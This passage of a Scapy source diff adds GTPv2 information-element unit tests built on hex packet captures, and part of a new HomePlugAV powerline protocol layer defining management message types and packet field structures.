+h = "3333333333332222222222228100a384080045b8011800000000fc1193150a2a00010a2a00027be5084b010444c4482000f82fd783953790a2000100080002081132547600004c0006001111111111114b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a001961616161616161616161616161616161616161616161616161800001000063000100014f000500017f0000034d000400000800007f00010000480008000000c3500002e6304e001a008080211001000010810600000000830600000000000d00000a005d001f00490001000750001600190700000000000000000000000000000000000000007200020014005f0002000a008e80b09f"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[18]
+ie.ChargingCharacteristric == 0xa00
+
+= IE_ChargingCharacteristics, basic instantiation
+ie = IE_ChargingCharacteristics(
+    ietype='Charging Characteristics', length=2, ChargingCharacteristric=0xa00)
+ie.ietype == 95 and ie.ChargingCharacteristric == 0xa00
+
+= IE_PDN_type, dissection
+h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[8]
+ie.PDN_type == 1
+
+= IE_PDN_type, basic instantiation
+ie = IE_PDN_type(ietype='PDN Type', length=1, PDN_type='IPv4')
+ie.ietype == 99 and ie.PDN_type == 1
+
+= IE_UE_Timezone, dissection
+h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[13]
+ie.Timezone == 20 and ie.DST == 0
+
+= IE_UE_Timezone, basic instantiation
+ie = IE_UE_Timezone(ietype='UE Time zone', length=2, Timezone=20, DST=0)
+ie.ietype == 114 and ie.Timezone == 20 and ie.DST == 0
+
+= IE_UE_Timezone, basic instantiation
+ie = IE_UE_Timezone(ietype='UE Time zone', length=2, Timezone=20, DST=1)
+ie.ietype == 114 and ie.Timezone == 20 and ie.DST == 1
+
+= IE_Port_Number, dissection
+h = "00010203040800808e8f8ab608004500004100010000401169140b00019705000001ec45084b002da8524820001d00000000006e400001000700420061896453f44a0004005f1e1d737e0002004532"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[2]
+ie.PortNumber == 17714
+
+= IE_Port_Number, basic instantiation
+ie = IE_Port_Number(
+    ietype='Port Number', length=2, PortNumber=17714)
+ie.ietype == 126 and ie.PortNumber == 17714
+
+= IE_APN_Restriction, dissection
+h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d55819f6500ede7000200020010004c000600111111111111490001003248000800000061a8000249f07f000100005d001300490001000b0200020010005e00040039004f454a0004007f00000436f73a63"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[4]
+ie.APN_Restriction == 0
+
+= IE_APN_Restriction, basic instantiation
+ie = IE_APN_Restriction(
+    ietype='APN Restriction', length=1, APN_Restriction=0)
+ie.ietype == 127 and ie.APN_Restriction == 0
+
+= IE_SelectionMode, dissection
+h = "3333333333332222222222228100a384080045b8011800000000fc1193150a2a00010a2a00027be5084b010444c4482000f8093ca4cc47fa69000100080002081132547600004c0006001111111111114b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a001961616161616161616161616161616161616161616161616161800001000063000100014f000500017f0000034d000400000800007f00010000480008000000c3500002e6304e001a008080211001000010810600000000830600000000000d00000a005d001f00490001004850001600190700000000000000000000000000000000000000007200020014005f0002000a008e80b09f"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[9]
+ie.SelectionMode == 0
+
+= IE_SelectionMode, basic instantiation
+ie = IE_SelectionMode(
+    ietype='Selection Mode', length=1, SelectionMode=4)
+ie.ietype == 128 and ie.SelectionMode == 4
+
+= IE_MMBR, dissection
+h = "3333333333332222222222228100838408004580014c97af0000f011830e0a2a00010a2a000282d5084b013876a74820012c29694a667f4a0b000100080002081132547600004c0006001111111111114b000800000000000001e24056000f000632f42030391a8532f42030391a855300030032f420520001000157001900c6000010927f0000020000000000000000000000000000fe8247001a001961616161616161616161616161616161616161616161616161800001000063000100014f000500017f0000034d000400000000007f000100004800080000001640000052084e00200080c02306010000060000802110010000108106000000008306000000000005005d003c00490001006057001902c4000010927f0000020000000000000000000000000000fe825000160029080000000000000000000000000000000000000000720002006e005f0002000a00a10008000000164000005208e4701ad2"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[18]
+ie.uplink_rate == 5696 and ie.downlink_rate == 21000
+
+= IE_MMBR, basic instantiation
+ie = IE_MMBR(ietype='Max MBR/APN-AMBR (MMBR)',
+                    length=8, uplink_rate=5696, downlink_rate=21000)
+ie.ietype == 161 and ie.uplink_rate == 5696 and ie.downlink_rate == 21000
+
+= GTPHeader answers to not GTPHeader instance
+GTPHeader(gtp_type=2).answers(Ether()) == False
+
+= GTPHeader post_build
+gtp = GTPHeader(gtp_type="create_session_req") / ("X"*32)
+gtp.show2()
+
+= GTPHeader hashret
+req = GTPHeader(gtp_type="create_session_req") / ("X"*32)
+res = GTPHeader(gtp_type="create_session_res") / ("Y"*32)
+req.hashret() == res.hashret()
+
+= IE_NotImplementedTLV
+h = "333333333333222222222222810080c808004588002937dd0000fd1115490a2a00010a2a0002084b084b00152d0e4001000900000100ff0001000daa000000003f1f382f"
+gtp = Ether(hex_bytes(h))
+isinstance(gtp.IE_list[0], IE_NotImplementedTLV)
+
diff --git a/scapy/contrib/homeplugav.py b/scapy/contrib/homeplugav.py
new file mode 100644
index 0000000..7221a07
--- /dev/null
+++ b/scapy/contrib/homeplugav.py
@@ -0,0 +1,1263 @@
+#! /usr/bin/env python
+
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = HomePlugAV Layer
+# scapy.contrib.status = loads
+
+from __future__ import absolute_import
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.l2 import Ether
+from scapy.modules.six.moves import range
+
+"""
+    Copyright (C) HomePlugAV Layer for Scapy by FlUxIuS (Sebastien Dudek)
+"""
+
+"""
+    HomePlugAV Management Message Type
+    Key (type value) : Description
+"""
+HPAVTypeList = { 0xA000 : "'Get Device/sw version Request'",
+                0xA001 : "'Get Device/sw version Confirmation'",
+                0xA008 : "'Read MAC Memory Request'",
+                0xA009 : "'Read MAC Memory Confirmation'",
+                0xA00C : "'Start MAC Request'",
+                0xA00D : "'Start MAC Confirmation'",
+                0xA010 : "'Get NVM Parameters Request'",
+                0xA011 : "'Get NVM Parameters Confirmation'",
+                0xA01C : "'Reset Device Request'",
+                0xA01D : "'Reset Device Confirmation'",
+                0xA020 : "'Write Module Data Request'",
+                0xA024 : "'Read Module Data Request'",
+                0xA025 : "'Read Module Data Confirmation'",
+                0xA028 : "'Write Module Data to NVM Request'",
+                0xA028 : "'Write Module Data to NVM Confirmation'",
+                0xA034 : "'Sniffer Request'",
+                0xA035 : "'Sniffer Confirmation'",
+                0xA036 : "'Sniffer Indicates'",
+                0xA038 : "'Network Information Request'",
+                0xA039 : "'Network Information Confirmation'",
+                0xA048 : "'Loopback Request'",
+                0xA049 : "'Loopback Request Confirmation'",
+                0xA050 : "'Set Encryption Key Request'",
+                0xA051 : "'Set Encryption Key Request Confirmation'",
+                0xA058 : "'Read Configuration Block Request'",
+                0xA058 : "'Read Configuration Block Confirmation'",
+                0xA062 : "'Embedded Host Action Required Indication'" }
+
+HPAVversionList = { 0x00 : "1.0",
+                    0x01 : "1.1" }
+
+HPAVDeviceIDList = {    0x00 : "Unknown",
+                        0x01 : "'INT6000'",
+                        0x02 : "'INT6300'",
+                        0x03 : "'INT6400'",
+                        0x04 : "'AR7400'",
+                        0x05 : "'AR6405'",
+                        0x20 : "'QCA7450/QCA7420'",
+                        0x21 : "'QCA6410/QCA6411'",
+                        0x22 : "'QCA7000'" }
+
+StationRole = { 0x00 : "'Station'",
+                0x01 : "'Proxy coordinator'",
+                0x02 : "'Central coordinator'" }
+
+StatusCodes = { 0x00 : "'Success'",
+                0x10 : "'Invalid Address'",
+                0x14 : "'Invalid Length'" }
+
+DefaultVendor = "Qualcomm"
+
+#########################################################################
+# Qualcomm Vendor Specific Management Message Types;                    #
+# from https://github.com/qca/open-plc-utils/blob/master/mme/qualcomm.h #
+#########################################################################
+# Commented commands are already in HPAVTypeList, the other have to be implemted 
+QualcommTypeList = {  #0xA000 : "VS_SW_VER",
+                    0xA004 : "VS_WR_MEM",
+                    #0xA008 : "VS_RD_MEM",
+                    #0xA00C : "VS_ST_MAC",
+                    #0xA010 : "VS_GET_NVM",
+                    0xA014 : "VS_RSVD_1",
+                    0xA018 : "VS_RSVD_2",
+                    #0xA01C : "VS_RS_DEV",
+                    #0xA020 : "VS_WR_MOD",
+                    #0xA024 : "VS_RD_MOD",
+                    #0xA028 : "VS_MOD_NVM",
+                    0xA02C : "VS_WD_RPT",
+                    0xA030 : "VS_LNK_STATS",
+                    #0xA034 : "VS_SNIFFER",
+                    #0xA038 : "VS_NW_INFO",
+                    0xA03C : "VS_RSVD_3",
+                    0xA040 : "VS_CP_RPT",
+                    0xA044 : "VS_ARPC",
+                    #0xA050 : "VS_SET_KEY",
+                    0xA054 : "VS_MFG_STRING",
+                    #0xA058 : "VS_RD_CBLOCK",
+                    0xA05C : "VS_SET_SDRAM",
+                    0xA060 : "VS_HOST_ACTION",
+                    0xA068 : "VS_OP_ATTRIBUTES",
+                    0xA06C : "VS_ENET_SETTINGS",
+                    0xA070 : "VS_TONE_MAP_CHAR",
+                    0xA074 : "VS_NW_INFO_STATS",
+                    0xA078 : "VS_SLAVE_MEM",
+                    0xA07C : "VS_FAC_DEFAULTS",
+                    0xA07D : "VS_FAC_DEFAULTS_CONFIRM",
+                    0xA084 : "VS_MULTICAST_INFO",
+                    0xA088 : "VS_CLASSIFICATION",
+                    0xA090 : "VS_RX_TONE_MAP_CHAR",
+                    0xA094 : "VS_SET_LED_BEHAVIOR",
+                    0xA098 : "VS_WRITE_AND_EXECUTE_APPLET",
+                    0xA09C : "VS_MDIO_COMMAND",
+                    0xA0A0 : "VS_SLAVE_REG",
+                    0xA0A4 : "VS_BANDWIDTH_LIMITING",
+                    0xA0A8 : "VS_SNID_OPERATION",
+                    0xA0AC : "VS_NN_MITIGATE",
+                    0xA0B0 : "VS_MODULE_OPERATION",
+                    0xA0B4 : "VS_DIAG_NETWORK_PROBE",
+                    0xA0B8 : "VS_PL_LINK_STATUS",
+                    0xA0BC : "VS_GPIO_STATE_CHANGE",
+                    0xA0C0 : "VS_CONN_ADD",
+                    0xA0C4 : "VS_CONN_MOD",
+                    0xA0C8 : "VS_CONN_REL",
+                    0xA0CC : "VS_CONN_INFO",
+                    0xA0D0 : "VS_MULTIPORT_LNK_STA",
+                    0xA0DC : "VS_EM_ID_TABLE",
+                    0xA0E0 : "VS_STANDBY",
+                    0xA0E4 : "VS_SLEEPSCHEDULE",
+                    0xA0E8 : "VS_SLEEPSCHEDULE_NOTIFICATION",
+                    0xA0F0 : "VS_MICROCONTROLLER_DIAG",
+                    0xA0F8 : "VS_GET_PROPERTY",
+                    0xA100 : "VS_SET_PROPERTY",
+                    0xA104 : "VS_PHYSWITCH_MDIO",
+                    0xA10C : "VS_SELFTEST_ONETIME_CONFIG",
+                    0xA110 : "VS_SELFTEST_RESULTS",
+                    0xA114 : "VS_MDU_TRAFFIC_STATS",
+                    0xA118 : "VS_FORWARD_CONFIG",
+                    0xA200 : "VS_HYBRID_INFO"}
+########## END OF Qualcomm commands ##########################
+
+EofPadList = [ 0xA000, 0xA038 ] # TODO: The complete list of Padding can help to improve the condition in VendorMME Class
+
+def FragmentCond(pkt):
+    """
+        A fragementation field condition
+        TODO: To complete
+    """
+    fragTypeTable = [ 0xA038, 0xA039 ]
+    return ((pkt.version == 0x01 )  and ( pkt.HPtype in fragTypeTable ))
+
+class MACManagementHeader(Packet):
+    name = "MACManagementHeader "
+    if DefaultVendor == "Qualcomm":
+        HPAVTypeList.update(QualcommTypeList) 
+    fields_desc=[ ByteEnumField("version",0, HPAVversionList),
+                EnumField("HPtype" , 0xA000, HPAVTypeList, "<H") ]
+
+class VendorMME(Packet):
+    name = "VendorMME "
+    fields_desc=[ X3BytesField("OUI", 0x00b052) ]
+
+class GetDeviceVersion(Packet):
+    name = "GetDeviceVersion"
+    fields_desc=[ ByteEnumField("Status", 0x0, StatusCodes),
+                ByteEnumField("DeviceID",0x20, HPAVDeviceIDList),
+                FieldLenField("VersionLen", None, count_of="DeviceVersion", fmt="B"),
+                StrLenField("DeviceVersion", b"NoVersion\x00", length_from = lambda pkt: pkt.VersionLen),
+                StrLenField("DeviceVersion_pad", b"\xcc\xcc\xcc\xcc\xcc"+b"\x00"*59, length_from = lambda pkt: 64-pkt.VersionLen), 
+                ByteEnumField("Upgradable", 0, {0:"False",1:"True"}) ]
+
+class NetworkInformationRequest(Packet):
+    name = "NetworkInformationRequest"
+    fields_desc=[ ]
+
+#""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
+#   Networks & Stations informations for MAC Management V1.0
+#""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
+class NetworkInfoV10(Packet):
+    """
+        Network Information Element
+    """
+    name = "NetworkInfo"
+    fields_desc = [ StrFixedLenField("NetworkID", b"\x00\x00\x00\x00\x00\x00\x00", 7),
+                    XByteField("ShortNetworkID", 0x00),
+                    XByteField("TerminalEID", 0x01),
+                    ByteEnumField("StationRole", 0x00, StationRole),
+                    MACField("CCoMACAdress", "00:00:00:00:00:00"),
+                    XByteField("CCoTerminalEID", 0x01) ]
+
+    def extract_padding(self, p):
+        return b"", p
+
+class StationInfoV10(Packet):
+    """
+        Station Information Element
+    """
+    name = "StationInfo"
+    fields_desc=[ MACField("StationMAC", "00:00:00:00:00:00"),
+                XByteField("StationTerminalEID", 0x01), 
+                MACField("firstnodeMAC", "ff:ff:ff:ff:ff:ff"),
+                XByteField("TXaverage", 0x00),
+                XByteField("RXaverage", 0x00) ]
+
+    def extract_padding(self, p):
+        return b"", p
+
+#""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
+#   Networks & Stations informations for MAC Management V1.1 
+#""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
+class NetworkInfoV11(Packet):
+    """
+        Network Information Element
+    """
+    name = "NetworkInfo"
+    fields_desc = [ StrFixedLenField("NetworkID", b"\x00\x00\x00\x00\x00\x00\x00", 7),
+                    ShortField("reserved_1", 0x0000),
+                    XByteField("ShortNetworkID", 0x00),
+                    XByteField("TerminalEID", 0x01),
+                    IntField("reserved_2", 0x00000000),
+                    ByteEnumField("StationRole", 0x00, StationRole),
+                    MACField("CCoMACAdress", "00:00:00:00:00:00"),
+                    XByteField("CCoTerminalEID", 0x01),
+                    X3BytesField("reserved_3", 0x000000) ]
+    
+    def extract_padding(self, p):
+        return b"", p
+
+
+class StationInfoV11(Packet):
+    """
+        Station Information Element
+    """
+    name = "StationInfo"
+    fields_desc=[ MACField("StationMAC", "00:00:00:00:00:00"),
+                XByteField("StationTerminalEID", 0x01),
+                X3BytesField("reserved_s2", 0x000000),
+                MACField("firstnodeMAC", "ff:ff:ff:ff:ff:ff"),
+                LEShortField("TXaverage", 0x0000),
+                BitField("RxCoupling", 0, 4),
+                BitField("TxCoupling", 0, 4),
+                XByteField("reserved_s3", 0x00),
+                LEShortField("RXaverage", 0x0000),
+                XByteField("reserved_s4", 0x00) ]
+    
+    def extract_padding(self, p):
+        return b"", p
+
+#""""""""""""""""""""""""" END """"""""""""""""""""""""""""""""""""""""""""""""""""""""""
+
+class NetworkInfoConfirmationV10(Packet):
+    """
+        Network Information Confirmation following the MAC Management version 1.0
+    """
+    name = "NetworkInfoConfirmation"
+    fields_desc=[ XByteField("LogicalNetworksNumber", 0x01),
+                PacketListField("NetworksInfos", "", NetworkInfoV10, length_from=lambda pkt: pkt.LogicalNetworksNumber * 17),
+                XByteField("StationsNumber", 0x01),
+                PacketListField("StationsInfos", "", StationInfoV10, length_from=lambda pkt: pkt.StationsNumber * 21) ]
+
+class NetworkInfoConfirmationV11(Packet):
+    """
+        Network Information Confirmation following the MAC Management version 1.1
+        This introduce few 'crazy' reserved bytes -> have fun!
+    """
+    name = "NetworkInfoConfirmation"
+    fields_desc= [ StrFixedLenField("reserved_n1", b"\x00\x00\x3a\x00\x00", 5),
+                XByteField("LogicalNetworksNumber", 0x01),
+                PacketListField("NetworksInfos", "", NetworkInfoV11, length_from=lambda pkt: pkt.LogicalNetworksNumber * 26),
+                XByteField("StationsNumber", 0x01),
+                StrFixedLenField("reserverd_s1", b"\x00\x00\x00\x00\x00", 5),
+                PacketListField("StationsInfos", "", StationInfoV11, length_from=lambda pkt: pkt.StationsNumber * 23) ]
+
+
+# Description of Embedded Host Action Required Indice
+ActionsList = { 0x02 : "'PIB Update Ready'",
+                0x04 : "'Loader (Bootloader)'" }
+
+class HostActionRequired(Packet):
+    """
+        Embedded Host Action Required Indice
+    """
+    name = "HostActionRequired"
+    fields_desc=[ ByteEnumField("ActionRequired", 0x02, ActionsList) ]
+
+class LoopbackRequest(Packet):
+    name = "LoopbackRequest"
+    fields_desc=[ ByteField("Duration", 0x01),
+                ByteField("reserved_l1", 0x01),
+                ShortField("LRlength", 0x0000) ]
+                # TODO: Test all possibles data to complete it
+
+class LoopbackConfirmation(Packet):
+    name = "LoopbackConfirmation"
+    fields_desc=[ ByteEnumField("Status", 0x0, StatusCodes), 
+                ByteField("Duration", 0x01),
+                ShortField("LRlength", 0x0000) ]
+
+################################################################
+# Encryption Key Packets
+################################################################
+
+class SetEncryptionKeyRequest(Packet):
+    name = "SetEncryptionKeyRequest"
+    fields_desc=[ XByteField("EKS", 0x00),
+                StrFixedLenField("NMK", 
+                                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
+                                16),
+                XByteField("PayloadEncKeySelect", 0x00),
+                MACField("DestinationMAC", "ff:ff:ff:ff:ff:ff"),
+                StrFixedLenField("DAK", 
+                                b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 
+                                16) ]
+
+SetEncKey_Status = {    0x00 : "Success",
+                        0x10 : "Invalid EKS",
+                        0x11 : "Invalid PKS" }
+
+class SetEncryptionKeyConfirmation(Packet):
+    name = "SetEncryptionKeyConfirmation"
+    fields_desc=[ ByteEnumField("Status", 0x0, SetEncKey_Status) ]
+
+################################################################
+# Default config Packet
+################################################################
+
+class QUAResetFactoryConfirm(Packet):
+    name = "QUAResetFactoryConfirm"
+    fields_desc=[ ByteEnumField("Status", 0x0, StatusCodes) ] #TODO : Probably a Status bytefield?
+
+######################################################################
+# NVM Parameters Packets
+######################################################################
+
+class GetNVMParametersRequest(Packet):
+    name = "Get NVM Parameters Request"
+    fields_desc=[ ]
+
+class GetNVMParametersConfirmation(Packet):
+    name = "Get NVM Parameters Confirmation"
+    fields_desc=[ ByteEnumField("Status", 0x0, StatusCodes),
+                LEIntField("NVMType", 0x00000013),
+                LEIntField("NVMPageSize", 0x00000100),
+                LEIntField("NVMBlockSize", 0x00010000),
+                LEIntField("NVMMemorySize", 0x00100000) ]
+
+######################################################################
+# Sniffer Packets
+######################################################################
+
+SnifferControlList = { 0x0 : "'Disabled'",
+                       0x1 : "'Enabled'" }
+
+SnifferTypeCodes = { 0x00 : "'Regular'" }
+
+class SnifferRequest(Packet):
+    name = "SnifferRequest"
+    fields_desc=[ ByteEnumField("SnifferControl", 0x0, SnifferControlList) ]
+
+SnifferCodes = { 0x00 : "'Success'",
+                 0x10 : "'Invalid Control'" }
+
+class SnifferConfirmation(Packet):
+    name = "SnifferConfirmation"
+    fields_desc=[ ByteEnumField("Status", 0x0, StatusCodes) ]
+
+DirectionCodes = { 0x00 : "'Tx'",
+                   0x01 : "'Rx'" }
+
+ANCodes = { 0x00 : "'In-home'",
+            0x01 : "'Access'" }
+
+class SnifferIndicate(Packet):
+    # TODO: Some bitfield have been regrouped for the moment => need more work on it
+    name = "SnifferIndicate"
+    fields_desc=[ ByteEnumField("SnifferType", 0x0, SnifferTypeCodes), 
+                  ByteEnumField("Direction", 0x0, DirectionCodes),
+                  LELongField("SystemTime", 0x0),
+                  LEIntField("BeaconTime", 0x0), 
+                  XByteField("ShortNetworkID", 0x0),
+                  ByteField("SourceTermEqID", 0),
+                  ByteField("DestTermEqID", 0),
+                  ByteField("LinkID", 0),
+                  XByteField("PayloadEncrKeySelect", 0x0f),
+                  ByteField("PendingPHYblock", 0),
+                  ByteField("BitLoadingEstim", 0), 
+                  BitField("ToneMapIndex", 0, size=5),
+                  BitField("NumberofSymbols", 0, size=2),
+                  BitField("PHYblockSize", 0, size=1),
+                  XShortField("FrameLength", 0x0000),
+                  XByteField("ReversegrandLength", 0x0),
+                  BitField("RequestSACKtrans", 0, size=1),
+                  BitField("DataMACstreamCMD", 0, size=3),
+                  BitField("ManNACFrameStreamCMD", 0, size=3),
+                  BitField("reserved_1", 0, size=6),
+                  BitField("MultinetBroadcast", 0, size=1),
+                  BitField("DifferentCPPHYclock", 0, size=1),
+                  BitField("Multicast", 0, size=1),
+                  X3BytesField("FrameControlCheckSeq", 0x000000),
+                  XByteField("ShortNetworkID_", 0x0),
+                  IntField("BeaconTimestamp", 0),
+                  XShortField("BeaconTransOffset_0", 0x0000),
+                  XShortField("BeaconTransOffset_1", 0x0000),
+                  XShortField("BeaconTransOffset_2", 0x0000),
+                  XShortField("BeaconTransOffset_3", 0x0000),
+                  X3BytesField("FrameContrchkSeq", 0x000000) ]
+
+######################################################################
+# Read MAC Memory
+#####################################################################
+
+class ReadMACMemoryRequest(Packet):
+    name = "ReadMACMemoryRequest"
+    fields_desc=[ LEIntField("Address" , 0x00000000),
+                  LEIntField("Length", 0x00000400), 
+                ]
+
+ReadMACStatus = { 0x00 : "Success",
+                  0x10 : "Invalid Address",
+                  0x14 : "Invalid Length" }
+
+class ReadMACMemoryConfirmation(Packet):
+    name = "ReadMACMemoryConfirmation"
+
+    fields_desc=[ ByteEnumField("Status", 0x00 , ReadMACStatus),
+                  LEIntField("Address" , 0),
+                  FieldLenField("MACLen", None, length_of="MACData", fmt="<H"),
+                  StrLenField("MACData", b"\x00", length_from = lambda pkt: pkt.MACLen),
+                ]
+
+######################################################################
+# Read Module Datas
+######################################################################
+
+ModuleIDList = {    0x00 : "MAC Soft-Loader Image",
+                    0x01 : "MAC Software Image",
+                    0x02 : "PIB",
+                    0x10 : "Write Alternate Flash Location" }
+
+def chksum32(data):
+    cksum = 0
+    for i in range(0, len(data), 4):
+        cksum = (cksum ^ struct.unpack('<I', data[i:i+4])[0]) & 0xffffffff   
+    return (~cksum) & 0xffffffff
+
+class ReadModuleDataRequest(Packet):
+    name = "ReadModuleDataRequest"
+    fields_desc=[ ByteEnumField("ModuleID", 0x02, ModuleIDList),
+                  XByteField("reserved", 0x00),
+                  LEShortField("Length" , 0x0400),
+                  LEIntField("Offset", 0x00000000) ]
+
+class ReadModuleDataConfirmation(Packet):
+    name = "ReadModuleDataConfirmation"
+    fields_desc=[ ByteEnumField("Status", 0x0, StatusCodes),
+                  X3BytesField("reserved_1", 0x000000),
+                  ByteEnumField("ModuleID", 0x02, ModuleIDList),
+                  XByteField("reserved_2", 0x00),
+                  FieldLenField("DataLen", None, count_of="ModuleData", fmt="<H"),
+                  LEIntField("Offset", 0x00000000),
+                  LEIntField("checksum", None), 
+                  StrLenField("ModuleData", b"\x00", length_from = lambda pkt: pkt.DataLen),
+                ]
+
+    def post_build(self, p, pay):
+        if self.DataLen is None:
+            _len = len(self.ModuleData)
+            p = p[:6] + struct.pack('h', _len) + p[8:]
+        if self.checksum is None and p:
+            ck = chksum32(self.ModuleData)
+            p = p[:12] + struct.pack('I', ck) + p[16:]
+        return p+pay
+
+######################################################################
+# Write Module Datas
+######################################################################
+
+class WriteModuleDataRequest(Packet):
+    name = "WriteModuleDataRequest"
+    fields_desc=[ ByteEnumField("ModuleID", 0x02, ModuleIDList),
+                  XByteField("reserved_1", 0x00),
+                  FieldLenField("DataLen", None, count_of="ModuleData", fmt="<H"),
+                  LEIntField("Offset", 0x00000000),
+                  LEIntField("checksum", None),
+                  StrLenField("ModuleData", b"\x00", length_from = lambda pkt: pkt.DataLen),
+                ]
+
+    def post_build(self, p, pay):
+        if self.DataLen is None:
+            _len = len(self.ModuleData)
+            p = p[:2] + struct.pack('h', _len) + p[4:]
+        if self.checksum is None and p:
+            ck = chksum32(self.ModuleData)
+            p = p[:8] + struct.pack('I', ck) + p[12:]
+        return p+pay
+
+######################################
+# Parse PIB                          #
+######################################
+
+class ClassifierPriorityMap(Packet):
+    name = "ClassifierPriorityMap"
+    fields_desc=[ LEIntField("Priority" , 0),
+                  LEIntField("PID" , 0),
+                  LEIntField("IndividualOperand" , 0),
+                  StrFixedLenField("ClassifierValue",
+                                b"\x00"*16,
+                                16),
+                ]
+ 
+    def extract_padding(self, p):
+        return b"", p
+
+class ClassifierObj(Packet):
+    name = "ClassifierObj"
+    
+    fields_desc=[ LEIntField("ClassifierPID", 0),
+                  LEIntField("IndividualOperand", 0),
+                  StrFixedLenField("ClassifierValue",
+                                b"\x00"*16,
+                                16), 
+                ]
+
+    def extract_padding(self, p):
+        return b"", p
+
+class AutoConnection(Packet):
+    name = "AutoConnection"
+
+    fields_desc=[ XByteField("Action", 0x00), 
+                  XByteField("ClassificationOperand", 0x00),
+                  XShortField("NumClassifiers", 0x0000),
+                  PacketListField("ClassifierObjs", "", ClassifierObj, length_from=lambda x: 24),
+                  XShortField("CSPECversion", 0x0000),
+                  XByteField("ConnCAP", 0x00),
+                  XByteField("ConnCoQoSPrio", 0x00),
+                  ShortField("ConnRate", 0),
+                  LEIntField("ConnTTL", 0),
+                  ShortField("CSPECversion", 0),
+                  StrFixedLenField("VlanTag",
+                                b"\x00"*4,
+                                4),
+                  XIntField("reserved_1", 0),
+                  StrFixedLenField("reserved_2",
+                                b"\x00"*14,
+                                14),
+                ]
+
+    def extract_padding(self, p):
+        return b"", p
+
+class PeerNode(Packet):
+    name = "PeerNodes"
+    fields_desc=[ XByteField("PeerTEI", 0x0),
+                  MACField("PIBMACAddr", "00:00:00:00:00:00"),
+                ]
+
+    def extract_padding(self, p):
+        return b"", p
+
+class AggregateConfigEntrie(Packet):
+    name = "AggregateConfigEntrie"
+    fields_desc=[ XByteField("TrafficTypeID", 0x0),
+                  XByteField("AggregationConfigID", 0x0),
+                ]
+
+    def extract_padding(self, p):
+        return b"", p
+
+class RSVD_CustomAggregationParameter(Packet):
+    name = "RSVD_CustomAggregationParameter"
+    fields_desc=[ XIntField("CustomAggregationParameter", 0),
+                ]
+
+    def extract_padding(self, p):
+        return b"", p
+
+class PrescalerValue(Packet):
+    name = "PrescalerValue"
+    fields_desc=[ XIntField("prescaler", 0),
+                ]
+
+    def extract_padding(self, p):
+        return b"", p
+
+class GPIOMap(Packet):
+    name = "GPIOMap"
+    fields_desc=[ XByteField("GPIOvalue", 0),
+                ]
+
+    def extract_padding(self, p):
+        return b"", p
+
+class ReservedPercentageForCap(Packet):
+    name = "ReservedPercentageForCap"
+    fields_desc=[ XByteField("CAPpercent", 0),
+                ]
+
+    def extract_padding(self, p):
+        return b"", p
+
+class ConfigBit(Packet):
+    name = "ConfigBit"
+    fields_desc=[ BitField("OverrideSoundCap", 0, 1),
+                  BitField("OverrideFailHoldDefaults", 0, 1),
+                  BitField("OverrideResourceDefaults", 0, 1),
+                  BitField("OverrideContentionWindowDefaults", 0, 1),
+                  BitField("OverrideUnplugDetectionDefaults", 0, 1),
+                  BitField("OverrideResoundDefaults", 0, 1),
+                  BitField("OverrideExpiryDefaults", 0, 1),
+                  BitField("DisableWorseChannelTrigger", 0, 1),
+                  BitField("DisableBetterChannelTrigger", 0, 1),
+                  BitField("DisableNetworkEventTrigger", 0, 1),
+                  BitField("rsv1", 0, 6),
+                ]
+                
+class ContentionWindowTable(Packet):
+    name = "ContentionWindowTable"
+    fields_desc=[ XShortField("element", 0), 
+                ]
+
+    def extract_padding(self, p):
+        return b"", p
+
+class BackoffDeferalCountTable(Packet):
+    name = "BackoffDeferalCountTable"
+    fields_desc=[ XByteField("element", 0),
+                ]
+
+    def extract_padding(self, p):
+        return b"", p
+
+class BehaviorBlockArray(Packet):
+    name = "BehaviorBlockArray"
+    fields_desc=[ XByteField("BehId", 0),
+                  XByteField("NoOfSteps", 0),
+                  XByteField("DurationInMs", 0),
+                  XShortField("GPIOMaskBits_1", 0),
+                  XShortField("GPIOMaskBits_2", 0),
+                  XShortField("GPIOMaskBits_3", 0),
+                  XShortField("GPIOMaskBits_4", 0),
